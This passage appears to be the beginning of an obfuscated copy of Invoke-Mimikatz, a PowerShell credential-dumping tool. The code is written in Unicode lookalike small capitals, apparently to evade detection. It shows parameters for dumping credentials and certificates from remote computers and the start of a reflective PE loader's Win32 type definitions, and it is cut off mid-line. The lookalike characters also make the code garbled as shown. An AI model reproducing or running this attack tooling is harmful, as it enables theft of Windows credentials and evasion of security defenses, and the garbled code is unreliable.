ғᴜɴᴄᴛɪᴏɴ Iɴᴠᴏᴋᴇ-Mɪᴍɪᴋᴀᴛᴢ
{
<#
.SYNOPSIS
#>

[CᴍᴅʟᴇᴛBɪɴᴅɪɴɢ(DᴇғᴀᴜʟᴛPᴀʀᴀᴍᴇᴛᴇʀSᴇᴛNᴀᴍᴇ="DᴜᴍᴘCʀᴇᴅs")]
Pᴀʀᴀᴍ(
[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 0)]
[Sᴛʀɪɴɢ[]]
$CᴏᴍᴘᴜᴛᴇʀNᴀᴍᴇ,

[Pᴀʀᴀᴍᴇᴛᴇʀ(PᴀʀᴀᴍᴇᴛᴇʀSᴇᴛNᴀᴍᴇ = "DᴜᴍᴘCʀᴇᴅs", Pᴏsɪᴛɪᴏɴ = 1)]
[Sᴡɪᴛᴄʜ]
$DᴜᴍᴘCʀᴇᴅs,

[Pᴀʀᴀᴍᴇᴛᴇʀ(PᴀʀᴀᴍᴇᴛᴇʀSᴇᴛNᴀᴍᴇ = "DᴜᴍᴘCᴇʀᴛs", Pᴏsɪᴛɪᴏɴ = 1)]
[Sᴡɪᴛᴄʜ]
$DᴜᴍᴘCᴇʀᴛs,

[Pᴀʀᴀᴍᴇᴛᴇʀ(PᴀʀᴀᴍᴇᴛᴇʀSᴇᴛNᴀᴍᴇ = "CᴜsᴛᴏᴍCᴏᴍᴍᴀɴᴅ", Pᴏsɪᴛɪᴏɴ = 1)]
[Sᴛʀɪɴɢ]
$Cᴏᴍᴍᴀɴᴅ
)

Sᴇᴛ-SᴛʀɪᴄᴛMᴏᴅᴇ -Vᴇʀsɪᴏɴ 2


$RᴇᴍᴏᴛᴇSᴄʀɪᴘᴛBʟᴏᴄᴋ = {
[CᴍᴅʟᴇᴛBɪɴᴅɪɴɢ()]
Pᴀʀᴀᴍ(
[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 0, Mᴀɴᴅᴀᴛᴏʀʏ = $ᴛʀᴜᴇ)]
[Sᴛʀɪɴɢ]
$PEBʏᴛᴇs64,

[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 1, Mᴀɴᴅᴀᴛᴏʀʏ = $ᴛʀᴜᴇ)]
[Sᴛʀɪɴɢ]
$PEBʏᴛᴇs32,

[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 2, Mᴀɴᴅᴀᴛᴏʀʏ = $ғᴀʟsᴇ)]
[Sᴛʀɪɴɢ]
$FᴜɴᴄRᴇᴛᴜʀɴTʏᴘᴇ,

[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 3, Mᴀɴᴅᴀᴛᴏʀʏ = $ғᴀʟsᴇ)]
[Iɴᴛ32]
$PʀᴏᴄIᴅ,

[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 4, Mᴀɴᴅᴀᴛᴏʀʏ = $ғᴀʟsᴇ)]
[Sᴛʀɪɴɢ]
$PʀᴏᴄNᴀᴍᴇ,

[Pᴀʀᴀᴍᴇᴛᴇʀ(Pᴏsɪᴛɪᴏɴ = 5, Mᴀɴᴅᴀᴛᴏʀʏ = $ғᴀʟsᴇ)]
[Sᴛʀɪɴɢ]
$ExᴇAʀɢs
)

###################################
########## Wɪɴ32 Sᴛᴜғғ ##########
###################################
Fᴜɴᴄᴛɪᴏɴ Gᴇᴛ-Wɪɴ32Tʏᴘᴇs
{
$Wɪɴ32Tʏᴘᴇs = Nᴇᴡ-Oʙᴊᴇᴄᴛ Sʏsᴛᴇᴍ.Oʙᴊᴇᴄᴛ

$Dᴏᴍᴀɪɴ = [AᴘᴘDᴏᴍᴀɪɴ]::CᴜʀʀᴇɴᴛDᴏᴍᴀɪɴ
$DʏɴᴀᴍɪᴄAssᴇᴍʙʟʏ = Nᴇᴡ-Oʙᴊᴇᴄᴛ Sʏsᴛᴇᴍ.Rᴇғʟᴇᴄᴛɪᴏɴ.AssᴇᴍʙʟʏNᴀᴍᴇ('DʏɴᴀᴍɪᴄAssᴇᴍʙʟʏ')
$AssᴇᴍʙʟʏBᴜɪʟᴅᴇʀ = $Dᴏᴍᴀɪɴ.DᴇғɪɴᴇDʏɴᴀᴍɪᴄAssᴇᴍʙʟʏ($DʏɴᴀᴍɪᴄAssᴇᴍʙʟʏ, [Sʏsᴛᴇᴍ.Rᴇғʟᴇᴄᴛɪᴏɴ.Eᴍɪᴛ.AssᴇᴍʙʟʏBᴜɪʟᴅᴇʀAᴄᴄᴇss]::Rᴜɴ)
$MᴏᴅᴜʟᴇBᴜɪʟᴅᴇʀ = $AssᴇᴍʙʟʏBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇDʏɴᴀᴍɪᴄMᴏᴅᴜʟᴇ('DʏɴᴀᴍɪᴄMᴏᴅᴜʟᴇ', $ғᴀʟsᴇ)
$CᴏɴsᴛʀᴜᴄᴛᴏʀIɴғᴏ = [Sʏsᴛᴇᴍ.Rᴜɴᴛɪᴍᴇ.IɴᴛᴇʀᴏᴘSᴇʀᴠɪᴄᴇs.MᴀʀsʜᴀʟAsAᴛᴛʀɪʙᴜᴛᴇ].GᴇᴛCᴏɴsᴛʀᴜᴄᴛᴏʀs()[0]


############ ENUM ############
#Eɴᴜᴍ MᴀᴄʜɪɴᴇTʏᴘᴇ
$TʏᴘᴇBᴜɪʟᴅᴇʀ = $MᴏᴅᴜʟᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇEɴᴜᴍ('MᴀᴄʜɪɴᴇTʏᴘᴇ', 'Pᴜʙʟɪᴄ', [UIɴᴛ16])
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('Nᴀᴛɪᴠᴇ', [UIɴᴛ16] 0) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('I386', [UIɴᴛ16] 0x014ᴄ) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('Iᴛᴀɴɪᴜᴍ', [UIɴᴛ16] 0x0200) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('x64', [UIɴᴛ16] 0x8664) | Oᴜᴛ-Nᴜʟʟ
$MᴀᴄʜɪɴᴇTʏᴘᴇ = $TʏᴘᴇBᴜɪʟᴅᴇʀ.CʀᴇᴀᴛᴇTʏᴘᴇ()
$Wɪɴ32Tʏᴘᴇs | Aᴅᴅ-Mᴇᴍʙᴇʀ -MᴇᴍʙᴇʀTʏᴘᴇ NᴏᴛᴇPʀᴏᴘᴇʀᴛʏ -Nᴀᴍᴇ MᴀᴄʜɪɴᴇTʏᴘᴇ -Vᴀʟᴜᴇ $MᴀᴄʜɪɴᴇTʏᴘᴇ

#Eɴᴜᴍ MᴀɢɪᴄTʏᴘᴇ
$TʏᴘᴇBᴜɪʟᴅᴇʀ = $MᴏᴅᴜʟᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇEɴᴜᴍ('MᴀɢɪᴄTʏᴘᴇ', 'Pᴜʙʟɪᴄ', [UIɴᴛ16])
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UIɴᴛ16] 0x10ʙ) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UIɴᴛ16] 0x20ʙ) | Oᴜᴛ-Nᴜʟʟ
$MᴀɢɪᴄTʏᴘᴇ = $TʏᴘᴇBᴜɪʟᴅᴇʀ.CʀᴇᴀᴛᴇTʏᴘᴇ()
$Wɪɴ32Tʏᴘᴇs | Aᴅᴅ-Mᴇᴍʙᴇʀ -MᴇᴍʙᴇʀTʏᴘᴇ NᴏᴛᴇPʀᴏᴘᴇʀᴛʏ -Nᴀᴍᴇ MᴀɢɪᴄTʏᴘᴇ -Vᴀʟᴜᴇ $MᴀɢɪᴄTʏᴘᴇ

#Eɴᴜᴍ SᴜʙSʏsᴛᴇᴍTʏᴘᴇ
$TʏᴘᴇBᴜɪʟᴅᴇʀ = $MᴏᴅᴜʟᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇEɴᴜᴍ('SᴜʙSʏsᴛᴇᴍTʏᴘᴇ', 'Pᴜʙʟɪᴄ', [UIɴᴛ16])
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_UNKNOWN', [UIɴᴛ16] 0) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_NATIVE', [UIɴᴛ16] 1) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UIɴᴛ16] 2) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UIɴᴛ16] 3) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_POSIX_CUI', [UIɴᴛ16] 7) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UIɴᴛ16] 9) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UIɴᴛ16] 10) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UIɴᴛ16] 11) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UIɴᴛ16] 12) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_EFI_ROM', [UIɴᴛ16] 13) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_SUBSYSTEM_XBOX', [UIɴᴛ16] 14) | Oᴜᴛ-Nᴜʟʟ
$SᴜʙSʏsᴛᴇᴍTʏᴘᴇ = $TʏᴘᴇBᴜɪʟᴅᴇʀ.CʀᴇᴀᴛᴇTʏᴘᴇ()
$Wɪɴ32Tʏᴘᴇs | Aᴅᴅ-Mᴇᴍʙᴇʀ -MᴇᴍʙᴇʀTʏᴘᴇ NᴏᴛᴇPʀᴏᴘᴇʀᴛʏ -Nᴀᴍᴇ SᴜʙSʏsᴛᴇᴍTʏᴘᴇ -Vᴀʟᴜᴇ $SᴜʙSʏsᴛᴇᴍTʏᴘᴇ

#Eɴᴜᴍ DʟʟCʜᴀʀᴀᴄᴛᴇʀɪsᴛɪᴄsTʏᴘᴇ
$TʏᴘᴇBᴜɪʟᴅᴇʀ = $MᴏᴅᴜʟᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇEɴᴜᴍ('DʟʟCʜᴀʀᴀᴄᴛᴇʀɪsᴛɪᴄsTʏᴘᴇ', 'Pᴜʙʟɪᴄ', [UIɴᴛ16])
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('RES_0', [UIɴᴛ16] 0x0001) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('RES_1', [UIɴᴛ16] 0x0002) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('RES_2', [UIɴᴛ16] 0x0004) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('RES_3', [UIɴᴛ16] 0x0008) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UIɴᴛ16] 0x0040) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UIɴᴛ16] 0x0080) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UIɴᴛ16] 0x0100) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UIɴᴛ16] 0x0200) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UIɴᴛ16] 0x0400) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UIɴᴛ16] 0x0800) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('RES_4', [UIɴᴛ16] 0x1000) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UIɴᴛ16] 0x2000) | Oᴜᴛ-Nᴜʟʟ
$TʏᴘᴇBᴜɪʟᴅᴇʀ.DᴇғɪɴᴇLɪᴛᴇʀᴀʟ('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UIɴᴛ16] 0x8000) | Oᴜᴛ-Nᴜʟʟ
$DʟʟCʜᴀʀᴀᴄᴛᴇʀɪsᴛɪᴄsTʏᴘᴇ = $TʏᴘᴇBᴜɪʟᴅᴇʀ.CʀᴇᴀᴛᴇTʏᴘᴇ()
$Wɪɴ32Tʏᴘᴇs | Aᴅᴅ-Mᴇᴍʙᴇʀ -